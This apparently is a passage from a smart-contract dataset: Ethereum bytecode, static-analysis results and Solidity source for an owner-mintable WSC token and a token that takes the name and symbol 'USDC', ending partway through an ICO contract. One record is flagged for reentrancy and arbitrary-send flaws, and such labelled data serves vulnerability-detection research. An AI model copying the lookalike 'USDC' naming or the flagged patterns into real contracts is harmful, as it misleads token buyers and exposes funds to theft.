0602082019050612ff36000830184612cef565b92915050565b6000613003613014565b905061300f828261324e565b919050565b6000604051905090565b600067ffffffffffffffff82111561303957613038613355565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130aa826131f2565b91506130b5836131f2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130ea576130e96132c8565b5b828201905092915050565b6000613100826131f2565b915061310b836131f2565b92508261311b5761311a6132f7565b5b828204905092915050565b6000613131826131f2565b915061313c836131f2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613175576131746132c8565b5b828202905092915050565b600061318b826131f2565b9150613196836131f2565b9250828210156131a9576131a86132c8565b5b828203905092915050565b60006131bf826131d2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613214826131f2565b9050919050565b60005b8381101561323957808201518184015260208101905061321e565b83811115613248576000848401525b50505050565b61325782613398565b810181811067ffffffffffffffff8211171561327657613275613355565b5b80604052505050565b600061328a826131f2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132bd576132bc6132c8565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61367f816131b4565b811461368a57600080fd5b50565b613696816131c6565b81146136a157600080fd5b50565b6136ad816131f2565b81146136b857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205b3c9a332e1c07c0410e3309326b6bb26e7240e3791ed0861ce0146105a5238a64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,815
0xa121c7003e0be256cdb2f9f9c36442f1c30a066d
pragma solidity ^0.4.18; /** * * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ // function Ownable() public { // owner = msg.sender; // } constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract WSCToken is PausableToken { string public constant name = "Worldwide Sales Chain"; string public constant symbol = "WSC"; uint8 public constant decimals = 18; modifier validDestination( address to ) { require(to != address(0x0)); require(to != address(this)); _; } constructor ( uint _totalTokenAmount ) public { totalSupply_ = _totalTokenAmount; balances[msg.sender] = _totalTokenAmount; emit Transfer(address(0x0), msg.sender, _totalTokenAmount); } //转移token function transfer(address _to, uint _value) public validDestination(_to) returns (bool) { return super.transfer(_to, _value); } //转移别人授权给自己的token function transferFrom(address _from, address _to, uint _value) public validDestination(_to) returns (bool) { return super.transferFrom(_from, _to, _value); } event Burn(address indexed _burner, uint _value); //销毁token function burn(uint _value) public returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(msg.sender, _value); emit Transfer(msg.sender, address(0x0), _value); return true; } // 销毁别人授权的token function burnFrom(address _from, uint256 _value) public returns (bool) { assert( transferFrom( _from, msg.sender, _value ) ); return burn(_value); } //合约所有者可以增发token function addTotalSupply(uint256 _value) public onlyOwner { totalSupply_ = totalSupply_.add(_value); balances[msg.sender]=balances[msg.sender].add(_value); emit Transfer(address(0x0), msg.sender, _value); } }
0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461010c578063095ea7b31461019c57806318160ddd1461020157806323b872dd1461022c578063313ce567146102b15780633f4ba83a146102e257806342966c68146102f95780635c975abb1461033e578063661884631461036d57806370a08231146103d257806379cc6790146104295780638456cb591461048e5780638da5cb5b146104a557806395d89b41146104fc578063a9059cbb1461058c578063d73dd623146105f1578063dd62ed3e14610656578063e468688e146106cd578063f2fde38b146106fa575b600080fd5b34801561011857600080fd5b5061012161073d565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610161578082015181840152602081019050610146565b50505050905090810190601f16801561018e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101a857600080fd5b506101e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610776565b604051808215151515815260200191505060405180910390f35b34801561020d57600080fd5b506102166107a6565b6040518082815260200191505060405180910390f35b34801561023857600080fd5b50610297600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b0565b604051808215151515815260200191505060405180910390f35b3480156102bd57600080fd5b506102c661083f565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102ee57600080fd5b506102f7610844565b005b34801561030557600080fd5b5061032460048036038101908080359060200190929190505050610904565b604051808215151515815260200191505060405180910390f35b34801561034a57600080fd5b50610353610a71565b604051808215151515815260200191505060405180910390f35b34801561037957600080fd5b506103b8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a84565b604051808215151515815260200191505060405180910390f35b3480156103de57600080fd5b50610413600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ab4565b6040518082815260200191505060405180910390f35b34801561043557600080fd5b50610474600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610afc565b604051808215151515815260200191505060405180910390f35b34801561049a57600080fd5b506104a3610b22565b005b3480156104b157600080fd5b506104ba610be3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561050857600080fd5b50610511610c09565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610551578082015181840152602081019050610536565b50505050905090810190601f16801561057e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561059857600080fd5b506105d7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c42565b604051808215151515815260200191505060405180910390f35b3480156105fd57600080fd5b5061063c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ccf565b604051808215151515815260200191505060405180910390f35b34801561066257600080fd5b506106b7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cff565b6040518082815260200191505060405180910390f35b3480156106d957600080fd5b506106f860048036038101908080359060200190929190505050610d86565b005b34801561070657600080fd5b5061073b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ef9565b005b6040805190810160405280601581526020017f576f726c64776964652053616c657320436861696e000000000000000000000081525081565b6000600360149054906101000a900460ff1615151561079457600080fd5b61079e8383611051565b905092915050565b6000600154905090565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107ef57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561082a57600080fd5b610835858585611143565b9150509392505050565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108a057600080fd5b600360149054906101000a900460ff1615156108bb57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000610957826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461117590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109ae8260015461117590919063ffffffff16565b6001819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050919050565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610aa257600080fd5b610aac838361118e565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610b098333846107b0565b1515610b1157fe5b610b1a82610904565b905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b7e57600080fd5b600360149054906101000a900460ff16151515610b9a57600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f575343000000000000000000000000000000000000000000000000000000000081525081565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610c8157600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610cbc57600080fd5b610cc6848461141f565b91505092915050565b6000600360149054906101000a900460ff16151515610ced57600080fd5b610cf7838361144f565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610de257600080fd5b610df78160015461164b90919063ffffffff16565b600181905550610e4e816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164b90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f5557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610f9157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600360149054906101000a900460ff1615151561116157600080fd5b61116c848484611669565b90509392505050565b600082821115151561118357fe5b818303905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561129f576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611333565b6112b2838261117590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360149054906101000a900460ff1615151561143d57600080fd5b6114478383611a23565b905092915050565b60006114e082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164b90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600080828401905083811015151561165f57fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156116a657600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156116f357600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561177e57600080fd5b6117cf826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461117590919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611862826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164b90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061193382600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461117590919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611a6057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611aad57600080fd5b611afe826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461117590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b91826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164b90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a723058208c154782c080d7c51fce31bad95664d55c54a73def2d20a6ed0fd23835d02f5f0029
{"success": true, "error": null, "results": {}}
5,816
0x47a0e3f58fe508c9ef78016fb4d52febed361e41
pragma solidity ^0.4.17; library SafeMathMod { // Partial SafeMath Library function mul(uint256 a, uint256 b) constant internal returns(uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) constant internal returns(uint256) { assert(b != 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns(uint256 c) { require((c = a - b) < a); } function add(uint256 a, uint256 b) internal pure returns(uint256 c) { require((c = a + b) > a); } } contract Usdcoins { //is inherently ERC20 using SafeMathMod for uint256; /** * @constant name The name of the token * @constant symbol The symbol used to display the currency * @constant decimals The number of decimals used to dispay a balance * @constant totalSupply The total number of tokens times 10^ of the number of decimals * @constant MAX_UINT256 Magic number for unlimited allowance * @storage balanceOf Holds the balances of all token holders * @storage allowed Holds the allowable balance to be transferable by another address. */ address owner; string constant public name = "USDC"; string constant public symbol = "USDC"; uint256 constant public decimals = 18; uint256 constant public totalSupply = 100000000e18; uint256 constant private MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowed; event Transfer(address indexed _from, address indexed _to, uint256 _value); event TransferFrom(address indexed _spender, address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function() payable { revert(); } function Usdcoins() public { balanceOf[msg.sender] = totalSupply; owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev function that sells available tokens */ function transfer(address _to, uint256 _value) public returns(bool success) { /* Ensures that tokens are not sent to address "0x0" */ require(_to != address(0)); /* Prevents sending tokens directly to contracts. */ /* SafeMathMOd.sub will throw if there is not enough balance and if the transfer value is 0. */ balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value The amount of token to be transferred * @return Whether the transfer was successful or not */ function transferFrom(address _from, address _to, uint256 _value) public returns(bool success) { /* Ensures that tokens are not sent to address "0x0" */ require(_to != address(0)); /* Ensures tokens are not sent to this contract */ uint256 allowance = allowed[_from][msg.sender]; /* Ensures sender has enough available allowance OR sender is balance holder allowing single transsaction send to contracts*/ require(_value <= allowance || _from == msg.sender); /* Use SafeMathMod to add and subtract from the _to and _from addresses respectively. Prevents under/overflow and 0 transfers */ balanceOf[_to] = balanceOf[_to].add(_value); balanceOf[_from] = balanceOf[_from].sub(_value); /* Only reduce allowance if not MAX_UINT256 in order to save gas on unlimited allowance */ /* Balance holder does not need allowance to send from self. */ if (allowed[_from][msg.sender] != MAX_UINT256 && _from != msg.sender) { allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); } Transfer(_from, _to, _value); return true; } /** * @dev Transfer the specified amounts of tokens to the specified addresses. * @dev Be aware that there is no check for duplicate recipients. * * @param _toAddresses Receiver addresses. * @param _amounts Amounts of tokens that will be transferred. */ function multiPartyTransfer(address[] _toAddresses, uint256[] _amounts) public { /* Ensures _toAddresses array is less than or equal to 255 */ require(_toAddresses.length <= 255); /* Ensures _toAddress and _amounts have the same number of entries. */ require(_toAddresses.length == _amounts.length); for (uint8 i = 0; i < _toAddresses.length; i++) { transfer(_toAddresses[i], _amounts[i]); } } /** * @dev Transfer the specified amounts of tokens to the specified addresses from authorized balance of sender. * @dev Be aware that there is no check for duplicate recipients. * * @param _from The address of the sender * @param _toAddresses The addresses of the recipients (MAX 255) * @param _amounts The amounts of tokens to be transferred */ function multiPartyTransferFrom(address _from, address[] _toAddresses, uint256[] _amounts) public { /* Ensures _toAddresses array is less than or equal to 255 */ require(_toAddresses.length <= 255); /* Ensures _toAddress and _amounts have the same number of entries. */ require(_toAddresses.length == _amounts.length); for (uint8 i = 0; i < _toAddresses.length; i++) { transferFrom(_from, _toAddresses[i], _amounts[i]); } } /** * @notice `msg.sender` approves `_spender` to spend `_value` tokens * * @param _spender The address of the account able to transfer the tokens * @param _value The amount of tokens to be approved for transfer * @return Whether the approval was successful or not */ function approve(address _spender, uint256 _value) public returns(bool success) { /* Ensures address "0x0" is not assigned allowance. */ require(_spender != address(0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @param _owner The address of the account owning tokens * @param _spender The address of the account able to transfer the tokens * @return Amount of remaining tokens allowed to spent */ function allowance(address _owner, address _spender) public view returns(uint256 remaining) { remaining = allowed[_owner][_spender]; } function isNotContract(address _addr) private view returns(bool) { uint length; assembly { /* retrieve the size of the code on target address, this needs assembly */ length: = extcodesize(_addr) } return (length == 0); } } contract icocontract { //is inherently ERC20 using SafeMathMod for uint256; uint public raisedAmount = 0; uint256 public RATE = 400; bool public icostart = true; address owner; Usdcoins public token; function icocontract() public { owner = msg.sender; } modifier whenSaleIsActive() { // Check if icostart is true require(icostart == true); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function setToken(Usdcoins _token) onlyOwner { token = _token; } 